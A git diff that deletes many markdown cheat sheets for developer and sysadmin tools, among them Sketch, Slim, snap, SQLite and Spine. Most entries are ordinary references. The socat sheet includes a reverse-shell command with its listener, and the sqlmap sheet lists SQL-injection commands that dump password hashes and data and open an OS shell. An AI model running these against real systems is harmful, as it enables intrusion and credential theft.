-sinon.useFakeTimers(+new Date(2011, 9, 1));
-```
-
-### Fake server
-
-```js
-server = sinon.fakeServer.create();
-```
-
-```js
-$.get('/file.json', ...)
-server.requests[0].respond(
-  200,
-  { 'Content-Type': 'application/json' },
-  JSON.stringify({ hello: 'world' })
-)
-```
-
-```js
-server.restore();
-```
-
-### Fake XHR
-
-```js
-xhr = sinon.useFakeXMLHttpRequest();
-xhr.restore();
-```
-
-### Sandbox
-
-```js
-beforeEach(function () {
-    global.sinon = require('sinon').sandbox.create();
-});
-```
-
-```js
-afterEach(function () {
-    global.sinon.restore();
-});
-```
diff --git a/docs/content/cheat-sheets/sitemap.xml.md b/docs/content/cheat-sheets/sitemap.xml.md
deleted file mode 100644
index 239ee03f58..0000000000
--- a/docs/content/cheat-sheets/sitemap.xml.md
+++ /dev/null
@@ -1,11 +0,0 @@
----
-layout: blank
-type: other
----
-
-<?xml version="1.0" encoding="UTF-8"?>
-<urlset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd" xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
-<url><loc>{{ site.url }}/</loc></url>
-{% for page in site.pages %}{% if page.type == 'article' %}<url><loc>{{ site.url }}{{ page.url | remove: '.html' }}</loc></url>
-{% endif %}{% endfor %}
-</urlset>
diff --git a/docs/content/cheat-sheets/sketch.md b/docs/content/cheat-sheets/sketch.md
deleted file mode 100644
index 00fde393ba..0000000000
--- a/docs/content/cheat-sheets/sketch.md
+++ /dev/null
@@ -1,94 +0,0 @@
----
-title: Sketch
-category: Apps
----
-
-## Shortcuts
-
-### Insert
-
-| Shortcut | Description |
-| -------- | ----------- |
-| `V`      | Vector      |
-| `P`      | Pencil      |
-| `T`      | Text        |
-| `L`      | Line        |
-| `R`      | Rectangle   |
-| `O`      | Oval        |
-| `U`      | Rounded     |
-
-{: .-shortcuts}
-
-### Show
-
-| Shortcut | Description            |
-| -------- | ---------------------- |
-| `^G`     | Show grid              |
-| `^L`     | Show layout            |
-| `^P`     | Show pixels            |
-| `^H`     | Show selection handles |
-| `^R`     | Show rulers            |
-
-{: .-shortcuts}
-
-### Sidebars
-
-| Shortcut | Description              |
-| -------- | ------------------------ |
-| `⌘⌥1`    | Toggle left (layers)     |
-| `⌘⌥2`    | Toggle right (inspector) |
-| `⌘⌥3`    | Toggle both              |
-| `⌘.`     | Presentation mode        |
-
-{: .-shortcuts}
-
-### Zoom
-
-| Shortcut | Description             |
-| -------- | ----------------------- |
-| `⌘0`     | 100%                    |
-| `⌘1`     | Fit to screen           |
-| `⌘2`     | Fit selection to screen |
-| `⌘3`     | Center selection        |
-
-{: .-shortcuts}
-
-### Arrange
-
-| Shortcut       | Description         |
-| -------------- | ------------------- |
-| `⌘⌥↑` _/_ `↓`  | Forward or backward |
-| `^⌘⌥↑` _/_ `↓` | Front or back       |
-
-{: .-shortcuts}
-
-### Distribute
-
-| Shortcut | Description |
-| -------- | ----------- |
-| `^⌘H`    | Horizontal  |
-| `^⌘V`    | Vertical    |
-
-{: .-shortcuts}
-
-### Layers
-
-| Shortcut | Description  |
-| -------- | ------------ |
-| `⌘R`     | Rename layer |
-| `⌘F`     | Find layer   |
-| `⌘G`     | Group        |
-| `⌘⇧G`    | Ungroup      |
-
-{: .-shortcuts}
-
-### Font
-
-| Shortcut       | Description    |
-| -------------- | -------------- |
-| `⌘⌥ +` _/_ `-` | Bigger/smaller |
-| `⌘⇧[`          | Left align     |
-| `⌘⇧\`          | Center align   |
-| `⌘⇧]`          | Right align    |
-
-{: .-shortcuts}
diff --git a/docs/content/cheat-sheets/slim.md b/docs/content/cheat-sheets/slim.md
deleted file mode 100644
index 5a980223cb..0000000000
--- a/docs/content/cheat-sheets/slim.md
+++ /dev/null
@@ -1,138 +0,0 @@
----
-title: Slim
-category: Ruby libraries
-
-prism_languages: [jade]
-weight: -1
----
-
-### Example
-
-```jade
-doctype html
-html
-  head
-    title Slim Examples
-    meta[charset='utf-8']
-    meta(name="keywords" content="template language")
-    meta name="author" content=author
-    meta property='og:image' content=asset_url('foo.png')
-    meta property='og:image' content=(path_to_user user)
-    meta(
-      property='description'
-      content='this is the song that never ends')
-```
-
-### Attributes
-
-```jade
-meta[charset='utf-8']
-meta(name="keywords" content="template language")
-meta name="author" content=author
-```
-
-You can use parentheses, brackets, or none at all.
-
-### Ruby attributes
-
-```jade
-a class=[:menu,:highlight]
-```
-
-You can use Ruby expressions in attributes.
-
-### Hash attributes
-
-```jade
-.card *{'data-url' => place_path(place)}
-```
-
-You can destructure Ruby hashes as attributes.
-
-### Inline Ruby
-
-```jade
-ruby:
-  def foobar
-    "hello"
-  end
-
-div= foobar
-```
-
-### Inline Markdown
-
-```jade
-markdown:
-  ### On Markdown
-
-  I am *Markdown* _text_!
-  {: .classname}
-```
-
-Slim can handle your [Markdown](https://daringfireball.net/projects/markdown/syntax) content for longer content blocks or `code`.
-Depending on your parser, like [Kramdown](https://kramdown.gettalong.org/quickref.html), other features might work, like assigning attributes or classes.
-
-### Embedded JavaScript
-
-```jade
-javascript:
-  alert('Slim supports embedded javascript!')
-```
-
-### Comments
-
-```jade
-/ Comment
-/! HTML comment
-```
-
-### Ruby
-
-```jade
-== yield
-= t('.hello')
-- 3.times do |i|
-  div
-```
-
-### Verbatim text
-
-```jade
-div
-  | This is text
-    it is nice
-```
-
-### Advanced whitespaces
-
-```jade
-div
-  ' This appends a whitespace
-div
-  |  This hackily prepends a whitespace
-div
-  => 'This appends a whitespace'
-div
-  =< 'This prepends a whitespace'
-```
-
-### Inline HTML
-
-```jade
-<div class='foo'>
-  - if articles.empty?
-    | Nothing here
-</div>
-```
-
-### Inline tags
-
-```jade
-ul
-  li: a(href='/') Home
-```
-
-### References
-
--   <http://slim-lang.com/>
diff --git a/docs/content/cheat-sheets/slurm.md b/docs/content/cheat-sheets/slurm.md
deleted file mode 100644
index 6b3f5cd5fa..0000000000
--- a/docs/content/cheat-sheets/slurm.md
+++ /dev/null
@@ -1,20 +0,0 @@
-# To submit a new job:
-
-sbatch job.sh
-
-# To list all jobs for a user:
-
-squeue -u <user>
-
-# To cancel a job by id or name:
-
-scancel <job-id>
-scancel --name <job-name>
-
-# To list all information for a job:
-
-scontrol show jobid -dd <job-id>
-
-# To status info for currently running job:
-
-sstat --format=AveCPU,AvePages,AveRSS,AveVMSize,JobID -j <job-id> --allsteps
diff --git a/docs/content/cheat-sheets/smbclient.md b/docs/content/cheat-sheets/smbclient.md
deleted file mode 100644
index ecc55021ac..0000000000
--- a/docs/content/cheat-sheets/smbclient.md
+++ /dev/null
@@ -1,7 +0,0 @@
-# To display public shares on the server:
-
-smbclient -L <host> -U%
-
-# To connect to a share:
-
-smbclient //<host>/<share> -U<user>%<password>
diff --git a/docs/content/cheat-sheets/snap.md b/docs/content/cheat-sheets/snap.md
deleted file mode 100644
index 40ece8bce2..0000000000
--- a/docs/content/cheat-sheets/snap.md
+++ /dev/null
@@ -1,138 +0,0 @@
----
-tags: [packaging]
----
-
-# To find <package>:
-
-snap find <package>
-
-# To view detailed information about <package>:
-
-snap info <package>
-
-# To view all private snaps (must be logged in):
-
-snap find --private
-
-# To install the <package>:
-
-sudo snap install <package>
-
-# To install the <package> from the "beta" channel:
-
-sudo snap install <package> --channel=beta
-
-# To view installed snaps:
-
-snap list
-
-# To list all revisions of installed snaps:
-
-snap list --all
-
-# To (manually) update all snaps:
-
-sudo snap refresh
-
-# To (manually) update <package>:
-
-sudo snap refresh <package>
-
-# To update <package> to the "beta" channel:
-
-sudo snap refresh <package> --channel=beta
-
-# To revert <package> to a prior version:
-
-sudo snap revert <package>
-
-# To revert <package> to revision 5:
-
-snap revert <package> --revision 5
-
-# To remove <package>:
-
-sudo snap remove <package>
-
-# To log in to snap (must first create account online):
-
-sudo snap login
-
-# To log out of snap:
-
-snap logout
-
-# To view a transaction log summary:
-
-snap changes
-
-# To view details of item 123 in the transaction log:
-
-snap change 123
-
-# To watch transaction 123:
-
-snap watch 123
-
-# To abort transaction 123:
-
-snap abort 123
-
-# To download <package> (and its assertions) _without_ installing it:
-
-snap download <package>
-
-# To install the locally-downloaded `foo` snap with assertions:
-
-snap ack foo.assert
-snap install foo.snap
-
-# To install the locally-downloaded `foo` snap without assertions:
-
-# NB: this is dangerous, because the integrity of the snap will not be
-
-# verified. You should only do this to test a snap that you are currently
-
-# developing.
-
-snap install --dangerous foo.snap
-
-# To install snap `foo` in "dev mode":
-
-# NB: this is dangerous, and bypasses the snap sandboxing mechanisms
-
-snap install --devmode foo
-
-# To install snap `foo` in "classic mode":
-
-# NB: this is likewise dangerous
-
-snap install --classic foo
-
-# To view available snap interfaces:
-
-snap interfaces
-
-# To connect the `foo:camera` plug to the ubuntu core slot:
-
-snap connect foo:camera :camera
-
-# To disconnect the `foo:camera` plug from the ubuntu core slot:
-
-snap disconnect foo:camera
-
-# To disable the `foo` snap
-
-snap disable foo
-
-# To enable the `foo` snap
-
-snap enable foo
-
-# To set snap `foo`'s `bar` property to 10:
-
-snap set foo bar=10
-
-# To read snap `foo`'s current `bar` property:
-
-snap get foo bar
diff --git a/docs/content/cheat-sheets/snmpwalk.md b/docs/content/cheat-sheets/snmpwalk.md
deleted file mode 100644
index c49904ed57..0000000000
--- a/docs/content/cheat-sheets/snmpwalk.md
+++ /dev/null
@@ -1,7 +0,0 @@
-# To retrieve all of the variables under system for host zeus:
-
-snmpwalk -Os -c public -v 1 zeus system
-
-# To retrieve the scalar values, but omit the sysORTable for host zeus:
-
-snmpwalk -Os -c public -v 1 -CE sysORTable zeus system
diff --git a/docs/content/cheat-sheets/socat.md b/docs/content/cheat-sheets/socat.md
deleted file mode 100644
index 343c85668a..0000000000
--- a/docs/content/cheat-sheets/socat.md
+++ /dev/null
@@ -1,54 +0,0 @@
----
-tags: [networking]
----
-
-# socat connect to http-server (port 80 on 'butzel.info')
-
-socat TCP4:butzel.info:80 -
-
-# connect to https-server (port 443 on 'butzel.info' with tls)
-
-socat openssl:butzel.info:443 -
-
-# tcp-listener (port 3180), output as hexdump (-x) and fork for new connetions
-
-socat -x tcp-listen:3180,fork -
-
-# practical examples:
-
-# complete real working http-example:
-
-# (sleep is necessary to prevent socat closing socket before data received)
-
-(echo -e "GET / HTTP/1.1\r\nHost: butzel.info\r\n\r" && sleep 1) \
-| socat tcp4:butzel.info:80 -
-
-# http to httpS 'Proxy' (for an webserver without TLS-Support)
-
-socat OPENSSL-LISTEN:443,reuseaddr,pf=ip4,fork,cert=server.pem,cafile=client.crt,verify=0 TCP4-CONNECT:127.0.0.1:80
-
-# port forwarding (e.g. own port 3180 to port 22(ssh) on target
-
-socat TCP4-LISTEN:3180,reuseaddr,fork TCP4:butzel.info:ssh
-
-# TOR-forwarding (needs tor-daemon on port 9050 running)
-
-socat tcp4-listen:8080,reuseaddr,fork socks4A:127.0.0.1:t0rhidd3ns3rvice.onion:80,socksport=9050
-
-# network (port 8266) to serial bridge (/dev/ttyUSB0 baudrate: 115200)
-
-socat TCP4-LISTEN:8266,fork,reuseaddr /dev/ttyUSB0,raw,crnl,b115200
-
-# udp to tcp
-
-socat -u udp-recvfrom:1234,fork tcp:localhost:4321
-
-# reverse shell:
-
-socat exec:'bash -i',pty,stderr tcp:remote.butzel.info:3180
-
-# listener for above reverse shell (on remote.butzel.info):
-
-socat file:`tty`,raw,echo=0 tcp-listen:3180
-
-# or: nc -lp 3180
diff --git a/docs/content/cheat-sheets/social-images.md b/docs/content/cheat-sheets/social-images.md
deleted file mode 100644
index a320767c62..0000000000
--- a/docs/content/cheat-sheets/social-images.md
+++ /dev/null
@@ -1,25 +0,0 @@
----
-title: Social media images
----
-
-### Facebook
-
-| What                  |                               Dimensions |
-| :-------------------- | ---------------------------------------: |
-| Cover photo           |                                851 x 315 |
-| Display picture       |                              168 x 168 ? |
-| Highlighted image     |           1200 x 717 (appears 843 x 504) |
-| Share link (og:image) | 940 x 492 (1.91:1, appears as 470 x 246) |
-| Share link (square)   |               1:1, appears as 114 x 114? |
-
-### Twitter
-
-| What                    |                   Dimensions |
-| :---------------------- | ---------------------------: |
-| Page header             |                   1500 x 500 |
-| Display picture         | 400 x 400 (shown as 200x200) |
-| In-stream photo preview |              440 x 220 (2:1) |
-
-### References
-
--   https://developers.facebook.com/docs/plugins/checklist/
diff --git a/docs/content/cheat-sheets/sockstat.md b/docs/content/cheat-sheets/sockstat.md
deleted file mode 100644
index 36795df2de..0000000000
--- a/docs/content/cheat-sheets/sockstat.md
+++ /dev/null
@@ -1,7 +0,0 @@
----
-tags: [networking]
----
-
-# To view which users/processes are listening to which ports:
-
-sudo sockstat -l
diff --git a/docs/content/cheat-sheets/sort.md b/docs/content/cheat-sheets/sort.md
deleted file mode 100644
index 9fd173600c..0000000000
--- a/docs/content/cheat-sheets/sort.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# To sort a file:
-
-sort <file>
-
-# To sort a file by keeping only unique:
-
-sort -u <file>
-
-# To sort a file and reverse the result:
-
-sort -r <file>
-
-# To sort a file randomly:
-
-sort -R <file>
diff --git a/docs/content/cheat-sheets/spacemacs.md b/docs/content/cheat-sheets/spacemacs.md
deleted file mode 100644
index f25bdc8ac6..0000000000
--- a/docs/content/cheat-sheets/spacemacs.md
+++ /dev/null
@@ -1,206 +0,0 @@
----
-title: Spacemacs
-
-category: Apps
-tags: [WIP]
-intro: |
-    [Spacemacs](http://spacemacs.org) is a distribution for Emacs.
----
-
-## Shortcuts
-
-### Layers
-
-| Shortcut  | Description       |
-| --------- | ----------------- |
-| `SPC` `f` | File              |
-| `SPC` `p` | Project           |
-| `SPC` `t` | Toggle            |
-| `SPC` `b` | Buffer            |
-| ---       | ---               |
-| `SPC` `m` | Major mode        |
-| `,`       | Same as `SPC` `m` |
-| ---       | ---               |
-| `SPC` `g` | Git               |
-| `SPC` `l` | Layout            |
-| `SPC` `a` | Apps              |
-| `SPC` `h` | Help              |
-
-{: .-shortcuts.-prime}
-
-### More
-
-| Description | Shortcut    |
-| ----------- | ----------- |
-| **M-x**     | `SPC` `SPC` |
-| Terminal    | `SPC` `'`   |
-| Search      | `SPC` `/`   |
-
-{: .-shortcuts-right}
-
-### `SPC` `h` - Help
-
-| Description        | Shortcut |
-| ------------------ | -------- |
-| **Spacemacs help** | `SPC`    |
-| ---                | ---      |
-| Layers             | `l`      |
-| Documentation      | `r`      |
-| FAQ                | `f`      |
-| Vimtutor           | `T`      |
-
-{: .-shortcuts-right}
-
-### `SPC` `f` - File
-
-| Description   | Shortcut |
-| ------------- | -------- |
-| **Save**      | `s`      |
-| Save all      | `S`      |
-| Copy          | `c`      |
-| Delete        | `D`      |
-| ---           | ---      |
-| Show filename | `y`      |
-
-{: .-shortcuts-right}
-
-### `SPC` `b` - Buffer
-
-| Description                | Shortcut |
-| -------------------------- | -------- |
-| Next buffer (`:bnext`)     | `n`      |
-| Previous buffer (`:bprev`) | `p`      |
-| Delete buffer (`:bd`)      | `d`      |
-
-{: .-shortcuts-right}
-
-### `SPC` `f` `e` - Config
-
-| Description              | Shortcut |
-| ------------------------ | -------- |
-| **Edit config**          | `d`      |
-| Edit config and template | `D`      |
-| ---                      | ---      |
-| Reload config            | `R`      |
-
-{: .-shortcuts}
-
-### `SPC` `w` - Window
-
-| Description         | Shortcut              |
-| ------------------- | --------------------- |
-| Help                | `.`                   |
-|                     | ---                   |
-| Select              | `h` / `j` / `k` / `l` |
-| Move                | `H` / `J` / `K` / `L` |
-| ---                 | ---                   |
-| Split               | `s`                   |
-| Split & follow      | `S`                   |
-| ---                 | ---                   |
-| Split vert          | `v`                   |
-| Split vert & follow | `V`                   |
-
-{: .-shortcuts-right}
-
-### `SPC` `p` - Project
-
-| Description             | Shortcut |
-| ----------------------- | -------- |
-| **Switch project**      | `l`      |
-| Switch project          | `p`      |
-| ---                     | ---      |
-| **Open files & recent** | `h`      |
-| Open files              | `f`      |
-| ---                     | ---      |
-| **Show tree**           | `t`      |
-| ---                     | ---      |
-| Open terminal           | `'`      |
-| Open terminal in root   | `$` `t`  |
-
-{: .-shortcuts-right}
-
-### `SPC` `l` `w` - Workspaces
-
-| Description                 | Shortcut    |
-| --------------------------- | ----------- |
-| Help                        | `?`         |
-| ---                         | ---         |
-| Switch previous layout      | `TAB`       |
-| **Switch to nth workspace** | `0` ... `9` |
-| ---                         | ---         |
-| Rename                      | `R`         |
-
-{: .-shortcuts-right}
-
-### `SPC` `t` - Toggle
-
-| Description  | Shortcut |
-| ------------ | -------- |
-| Line numbers | `n`      |
-
-{: .-shortcuts
-
-### `SPC` `j` - Jump
-
-| Description | Shortcut |
-| ----------- | -------- |
-| Character   | `j`      |
-| Line        | `l`      |
-| Word        | `w`      |
-
-{: .-shortcuts-right}
-
-## Major modes
-
-### Markdown
-
-| Shortcut    | Description            |
-| ----------- | ---------------------- |
-| `,` `-`     | Insert horizontal rule |
-| `,` `h` `1` | Insert H1              |
-
-{: .-shortcuts}
-
-## Other layers
-
-### version-control
-
-| Shortcut              | Description            |
-| --------------------- | ---------------------- |
-| `SPC` `g` `s`         | **Status**             |
-| ---                   | ---                    |
-| `SPC` `g` `m`         | **Open dispatch menu** |
-| `SPC` `g` `m` `s`     | Stage                  |
-| `SPC` `g` `m` `P` `p` | Push                   |
-| `SPC` `g` `m` `c`     | Commit                 |
-| ---                   | ---                    |
-| `SPC` `g` `t`         | Open time machine      |
-| ---                   | ---                    |
-| `SPC` `g` `l` `l`     | Open in GitHub         |
-| `SPC` `g` `l` `L`     | Show GitHub URL        |
-
-{: .-shortcuts}
-
-Version control is provided by Magit.
-
-## Emacs standard
-
-### File
-
-| Description      | Emacs       | Spacemacs     |
-| ---------------- | ----------- | ------------- |
-| Save             | `C-x` `C-s` | `SPC` `f` `s` |
-| Open             | `C-x` `C-f` | `SPC` `f` `f` |
-| Close            | `C-x` `C-k` |               |
-| ---              | ---         | ---           |
-| Split horizontal | `C-x` `2`   | `SPC` `w` `h` |
-| Split vertical   | `C-x` `3`   | `SPC` `w` `v` |
-| ---              | ---         | ---           |
-| Confirm          | `C-c` `C-c` |               |
-| Abort            | `C-c` `C-k` |               |
-
-{: .-shortcuts-right}
-
-## References
-
--   [Spacemacs documentation](https://github.com/syl20bnr/spacemacs/blob/master/doc/DOCUMENTATION.org) _(github.com)_
diff --git a/docs/content/cheat-sheets/spine.md b/docs/content/cheat-sheets/spine.md
deleted file mode 100644
index 7dde1a8fef..0000000000
--- a/docs/content/cheat-sheets/spine.md
+++ /dev/null
@@ -1,182 +0,0 @@
----
-title: Spine
-category: JavaScript libraries
-vim: ft=python
----
-
-## Models
-
-    class User extends Spine.Model
-      @configure "User", "name", "address"
-
-      fullName: ->
-        [@first, @last].join ' '
-
-### JavaScript
-
-    // Subclassing
-    User = Spine.Model.sub()
-
-### Class methods
-
-    .configure 'modelname', attributes...
-
-    # Inheritance
-    .include(Module)
-    .extend(Module)
-
-    .create(name: "John")
-
-    .count()
-
-    # Events
-    .on 'refresh change', (user) -> ...
-    .trigger 'event'
-
-    .change (user) -> ...  # same as on('change')
-    .fetch (user) -> ...   # same as on('fetch')
-
-    # JSON
-    .toJSON()         # all records
-    .fromJSON(json)   # from json string
-    .fromForm(el)
-
-    # Data
-    .records     # Hash of instances
-    .attributes  # array of attributes (from .configure)
-
-    # Convenience
-    .toString()  #=> "User"
-
-    # Find by ID
-    .exists(1)
-    .find(1)     # throws error
-
-    # Find by something
-    .select (u) u.name == 'bob'
-    .findByAttribute 'name', 'bob'
-    .findAllByAttribute 'name', 'bob'
-
-    .all()
-    .slice(6, 13)  # cloned copies of instances
-
-    # Iterating
-    .each (user) ->
-
-    # Ends
-    .first()
-    .last()
-
-    # Deleting
-    .deleteAll()
-    .destroyAll()
-    .destroyAll({ ..options.. })
-    .destroy(2)
-
-### Instance methods
-
-    user = new User();
-
-    user
-    .isNew()
-    .exists()
-
-    # Validation
-    .isValid()
-    .validate()    # validate = (-> "Name required" unless @name)
-
-    .attributes()  # hash of attr values
-    .eql(other)    # equality check
-
-    # Update
-    .load(attrs)
-    .reload()
-    .fromForm(form)
-    .updateAttribute("name", "john")
-    .updateAttributes(name: "John")
-
-    # Event
-    .on 'event', -> ...
-    .trigger 'event'
-
-    # Retrieve
-    .toJSON()
-
-    # Persistence
-    .save()
-
-    .destroy()
-    .dup()         # clone as unsaved
-
-### Mixins
-
-    class User extends Spine.Model
-      @include MyModule
-      @extend MyModule
-
-### Events
-
-    .on 'create'
-    .on 'update'
-    .on 'destroy'
-
-    .on 'save'    # create / update
-    .on 'change'  # create / update / destroy
-
-    .on 'refresh'
-    .on 'error'    # validation error
-
-## Ajax
-
-    class User extends Spine.Model
-      @extend Spine.Model.Ajax
-
-      @url: '/users'
-      @url: -> '/users'
-      scope: '2013'
-
-### Using
-
-    User.fetch()
-    user = new User()
-
-    user.url()            #=> "/users"
-    user.url('bands')     #=> "/users/bands"
-
-    user.scope = 'admin'
-    user.url()            #=> "/admin/users"
-
-### Host
-
-    Spine.Model.host = 'http://endpoint'
-
-### Ajax mapping
-
-    read    → GET    /collection
-    create  → POST   /collection (201 created)
-    update  → PUT    /collection/id
-    destroy → DELETE /collection/id
-
-### Associations
-
-    class Photo extends Spine.Model
-      @belongsTo 'album', 'Album'          # window['Album']
-      @belongsTo 'album', 'models/album'   # via require.js
-
-    class Album
-      @hasMany 'photos', 'models/photo'
-
-    album.photos().all()
-    album.photos().create(name: "Vacation")
-    album.photos().find(id)
-
-    photo = Photo.create(album: album)
-    photo.album()
-    photo.album_id
-
-### See
-
--   http://spinejs.com/api/index
--   http://spinejs.com/api/models
--   http://spinejs.com/docs/ajax
--   http://spinejs.com/docs/relations
diff --git a/docs/content/cheat-sheets/split.md b/docs/content/cheat-sheets/split.md
deleted file mode 100644
index 407e8abfbf..0000000000
--- a/docs/content/cheat-sheets/split.md
+++ /dev/null
@@ -1,11 +0,0 @@
-# To split a large text file into smaller files of 1000 lines each:
-
-split <file> -l 1000
-
-# To split a large binary file into smaller files of 10M each:
-
-split <file> -b 10M
-
-# To consolidate split files into a single file:
-
-cat x\* > <file>
diff --git a/docs/content/cheat-sheets/sport.md b/docs/content/cheat-sheets/sport.md
deleted file mode 100644
index c9c0636127..0000000000
--- a/docs/content/cheat-sheets/sport.md
+++ /dev/null
@@ -1,47 +0,0 @@
----
-tags: [packaging]
----
-
-# To sync to newest slackbuild.org tree:
-
-sport r
-
-# to search (fuzzy) slackbuild tree for packages foo and bar:
-
-sport s foo bar
-
-# To operate from alternate build tree:
-
-SBOPATH=/path/to/tree sport s foo
-
-# to view info and readme of bar (not fuzzy):
-
-sport c foo BaR
-
-# To build a package:
-
-sport i --build-only foo
-
-# to build and install package foo and bar:
-
-sport i foo BaR
-
-# To build and install package from current directory:
-
-sport i .
-
-# To upgrade instead of install:
-
-INSTALLER=upgradepkg sport i foo
-
-# To build dependency list for baz:
-
-echo "foo bar" >> /tmp/baz.list
-
-# To install list of packages from file:
-
-sport i $(</tmp/baz.list)
-
-# To check if package is installed:
-
-sport k foo
diff --git a/docs/content/cheat-sheets/spreadsheet.md b/docs/content/cheat-sheets/spreadsheet.md
deleted file mode 100644
index 2e63e8dd54..0000000000
--- a/docs/content/cheat-sheets/spreadsheet.md
+++ /dev/null
@@ -1,53 +0,0 @@
----
-title: Spreadsheet functions
-tags: [WIP]
----
-
-### If
-
-```
-=IF(test, then, else)
-=IF(EQ(A1, "paid"), "true", "false")
-```
-
-### Comparators
-
-```
-=EQ(a,b)
-=NE(a,b)
-=GT(a,b)
-=GTE(a,b)
-=LT(a,b)
-=LTE(a,b)
-```
-
-### Math
-
-```
-=POW(2, 32)   # 2^32
-=SIN() ACOS() etc
-=CEILING(n,sig,mode)
-=FLOOR(n,sig,mode)
-=INT(n)
-```
-
-```
-=SUM(range)
-```
-
-```
-=SUMIF(range, criteria, sum_range)
-=SUMIF(A1:A5, ">300", B1:B5)          # if A# is >300, use B#
-```
-
-### Core
-
-```
-=TO_DATE(number)
-```
-
-### Vlook
-
-```
-=VLOOKUP(value, range, column_index)
-```
diff --git a/docs/content/cheat-sheets/sql-join.md b/docs/content/cheat-sheets/sql-join.md
deleted file mode 100644
index fe2f3296b9..0000000000
--- a/docs/content/cheat-sheets/sql-join.md
+++ /dev/null
@@ -1,43 +0,0 @@
----
-title: SQL joins
-
-category: Databases
-weight: -1
----
-
-### Example
-
-```
-SELECT * FROM order_items \
-  LEFT OUTER JOIN orders \
-  ON order_items.order_id = orders.id
-```
-
-{: .-wrap}
-
-Joins are typically added to `SELECT` statements to add more columns and records.
-
-### Diagram
-
-```
-SELECT * FROM `A` INNER JOIN `B`
-```
-
-{: .-setup}
-
-```
-┌────────┐
-│ A  ┌───┼────┐
-│    │ ∩ │    │
-└────┼───┘  B │
-     └────────┘
-```
-
-{: .-box-chars.-setup}
-
-| Join             | What            |
-| ---------------- | --------------- |
-| Inner join       | `∩`             |
-| Left outer join  | `A` + `∩`       |
-| Right outer join | `∩` + `B`       |
-| Full outer join  | `A` + `∩` + `B` |
diff --git a/docs/content/cheat-sheets/sql.md b/docs/content/cheat-sheets/sql.md
deleted file mode 100644
index 1ab53001d7..0000000000
--- a/docs/content/cheat-sheets/sql.md
+++ /dev/null
@@ -1,31 +0,0 @@
-# Additional SQL: Aggregate Functions Cheatsheet
-
-> When you visit any website, it may store or retrieve information on your browser, mostly in the form of cookies. This information might be about you, your preferences or your device and is mostly used to make the site work as you expect it to. The information does not usually directly identify you, but it can give you a more personalized web experience. Because we respect your right to privacy, you can choose not to allow some types of cookies. Click on the different category headings to find out more and change our default settings. However, blocking some types of cookies may impact your experience of the site and the services we are able to offer.
-
-                        More information
-
-### Privacy Preference Center
-
-When you visit any website, it may store or retrieve information on your browser, mostly in the form of cookies. This information might be about you, your preferences or your device and is mostly used to make the site work as you expect it to. The information does not usually directly identify you, but it can give you a more personalized web experience. Because we respect your right to privacy, you can choose not to allow some types of cookies. Click on the different category headings to find out more and change our default settings. However, blocking some types of cookies may impact your experience of the site and the services we are able to offer. [More information](https://cookiepedia.co.uk/giving-consent-to-cookies)
-
-### Manage Consent Preferences
-
-Always Active
-
-Strictly Necessary Cookies
-
-These cookies are necessary for the website to function and cannot be switched off in our systems. They are usually only set in response to actions made by you which amount to a request for services, such as setting your privacy preferences, logging in or filling in forms. You can set your browser to block or alert you about these cookies, but some parts of the site will not then work. These cookies do not store any personally identifiable information.
-
-Functional Cookies
-
-These cookies enable the website to provide enhanced functionality and personalisation. They may be set by us or by third party providers whose services we have added to our pages. If you do not allow these cookies then some or all of these services may not function properly.
-
-Targeting Cookies
-
-These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites. They do not store directly personal information, but are based on uniquely identifying your browser and internet device. If you do not allow these cookies, you will experience less targeted advertising.
-
-Performance Cookies
-
-These cookies allow us to count visits and traffic sources so we can measure and improve the performance of our site. They help us to know which pages are the most and least popular and see how visitors move around the site. All information these cookies collect is aggregated and therefore anonymous. If you do not allow these cookies we will not know when you have visited our site, and will not be able to monitor its performance.
-
-[Source](https://www.codecademy.com/learn/dscp-sql-for-interview-prep/modules/dscp-sql-aggregate-functions/cheatsheet)
diff --git a/docs/content/cheat-sheets/sqlite3.md b/docs/content/cheat-sheets/sqlite3.md
deleted file mode 100644
index 20776068e9..0000000000
--- a/docs/content/cheat-sheets/sqlite3.md
+++ /dev/null
@@ -1,35 +0,0 @@
----
-tags: [database]
----
-
-# to create database and launch interactive shell:
-
-sqlite3 <database>
-
-# to create table:
-
-sqlite3 <database> "create table os(id integer primary key, name text, year integer);"
-
-# to insert data:
-
-sqlite3 <database> "insert into 'os' values(1,'linux',1991);"
-
-# to list tables:
-
-sqlite3 <database> ".tables"
-
-# to describe table:
-
-sqlite3 <database> ".schema 'os'"
-
-# to view records in table:
-
-sqlite3 <database> "select \* from 'os';"
-
-# to view records in table conditionally:
-
-sqlite3 <database> "select \* from 'os' where year='1991';"
-
-# to view records with fuzzy matching:
-
-sqlite3 <database> "select \* from 'os' where year like '19%';"
diff --git a/docs/content/cheat-sheets/sqlmap.md b/docs/content/cheat-sheets/sqlmap.md
deleted file mode 100644
index 21a75a4f72..0000000000
--- a/docs/content/cheat-sheets/sqlmap.md
+++ /dev/null
@@ -1,64 +0,0 @@
----
-tags: [database]
----
-
-# Test URL and POST data and return database banner (if possible)
-
-./sqlmap.py --url="<url>" --data="<post-data>" --banner
-
-# Parse request data and test | request data can be obtained with burp
-
-./sqlmap.py -r <request-file> <options>
-
-# Fingerprint | much more information than banner
-
-./sqlmap.py -r <request-file> --fingerprint
-
-# Get database username, name, and hostname
-
-./sqlmap.py -r <request-file> --current-user --current-db --hostname
-
-# Check if user is a database admin
-
-./sqlmap.py -r <request-file> --is-dba
-
-# Get database users and password hashes
-
-./sqlmap.py -r <request-file> --users --passwords
-
-# Enumerate databases
-
-./sqlmap.py -r <request-file> --dbs
-
-# List tables for one database
-
-./sqlmap.py -r <request-file> -D <db-name> --tables
-
-# Other database commands
-
-./sqlmap.py -r <request-file> -D <db-name> --columns
---schema
---count
-
-# Enumeration flags
-
-./sqlmap.py -r <request-file> -D <db-name>
--T <tbl-name>
--C <col-name>
--U <user-name>
-
-# Extract data
-
-./sqlmap.py -r <request-file> -D <db-name> -T <tbl-name> -C <col-name> --dump
-
-# Execute SQL Query
-
-./sqlmap.py -r <request-file> --sql-query="<sql-query>"
-
-# Append/Prepend SQL Queries
-
-./sqlmap.py -r <request-file> --prefix="<sql-query>" --suffix="<sql-query>"
-
-# Get backdoor access to sql server | can give shell access
-
-./sqlmap.py -r <request-file> --os-shell
